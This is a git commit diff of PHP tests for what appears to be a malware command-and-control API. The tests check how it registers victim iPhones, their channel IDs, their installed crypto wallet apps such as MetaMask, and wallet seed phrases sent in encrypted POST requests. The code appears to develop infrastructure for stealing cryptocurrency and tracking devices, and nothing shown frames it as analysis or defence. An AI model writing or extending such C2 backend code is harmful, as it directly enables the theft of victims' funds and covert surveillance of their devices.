feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
+77 -14
View File
@@ -32,7 +32,7 @@ class C2ApiTest extends TestCase
}
#[Test]
public function upsert_refreshes_updated_at_on_repeat_request(): void
public function avatar_put_creates_device_and_repeat_only_touches_updated_at(): void
{
$crypto = new CorunaCrypto;
$payload = [
@@ -43,7 +43,7 @@ class C2ApiTest extends TestCase
];
$ts1 = '1722585600001';
$enc1 = $crypto->encryptJson($payload, $ts1);
$this->call('POST', '/api/user/avatar/set', [], [], [], [
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts1,
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
@@ -51,25 +51,93 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', 'dev-active-1')->first();
$this->assertNotNull($device);
$this->assertSame('iPhone9,1', $device->device_model);
$this->assertSame('15.8.4', $device->ios_version);
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
$this->assertStringContainsString('CorunaLab-Active/1.0', (string) $device->user_agent);
$firstUpdated = $device->updated_at?->copy();
$this->assertNotNull($firstUpdated);
$firstIp = $device->ip;
$firstUa = $device->user_agent;
sleep(1);
$ts2 = '1722585600002';
$enc2 = $crypto->encryptJson($payload, $ts2);
$this->call('POST', '/api/user/avatar/set', [], [], [], [
$enc2 = $crypto->encryptJson([
'd' => 'dev-active-1',
'm' => 'iPhone14,2',
'pv' => '16.0',
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
], $ts2);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts2,
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
'HTTP_USER_AGENT' => 'CorunaLab-Active/2.0',
'REMOTE_ADDR' => '9.9.9.9',
], $enc2['body'])->assertOk();
$device->refresh();
$this->assertTrue($device->updated_at->greaterThan($firstUpdated));
$this->assertSame('iPhone9,1', $device->device_model);
$this->assertSame('15.8.4', $device->ios_version);
// First trusted channel sticks; later put must not overwrite.
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
$this->assertSame($firstUa, $device->user_agent);
$this->assertSame($firstIp, $device->ip);
}
#[Test]
public function avatar_set_ingests_device_model_and_ua(): void
public function non_put_creates_device_without_channel_and_put_fills_channel_once(): void
{
$crypto = new CorunaCrypto;
$tsSet = '1722585600100';
$encSet = $crypto->encryptJson([
'd' => 'dev-channel-fill',
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'a' => 'a1',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
], $tsSet);
$this->call('POST', '/api/user/set', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $tsSet,
], $encSet['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-channel-fill')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
$tsPut = '1722585600101';
$encPut = $crypto->encryptJson([
'd' => 'dev-channel-fill',
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
'et' => 'heartbeat',
], $tsPut);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $tsPut,
], $encPut['body'])->assertOk();
$device->refresh();
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
$tsPut2 = '1722585600102';
$encPut2 = $crypto->encryptJson([
'd' => 'dev-channel-fill',
'c' => 'cccccccccccccccccccccccccccccccc',
'et' => 'heartbeat',
], $tsPut2);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $tsPut2,
], $encPut2['body'])->assertOk();
$device->refresh();
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
}
#[Test]
public function avatar_set_does_not_create_device(): void
{
$crypto = new CorunaCrypto;
$payload = [
@@ -99,14 +167,7 @@ class C2ApiTest extends TestCase
$resp->assertOk();
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
$this->assertSame(0, $plain['code'] ?? null);
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
$this->assertNotNull($device);
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
$this->assertSame('15.8.4', $device->ios_version);
$this->assertSame('iPhone9,1', $device->device_model);
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
$this->assertSame(0, $device->apps()->count());
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
}
#[Test]
@@ -116,6 +177,7 @@ class C2ApiTest extends TestCase
$payload = [
'd' => '000430C910E8E526',
'f' => '000430C910E8E526',
'c' => 'dddddddddddddddddddddddddddddddd',
'v' => '15.8.4',
'al' => [
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
@@ -132,6 +194,7 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertSame('15.8.4', $device->ios_version);
$mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first();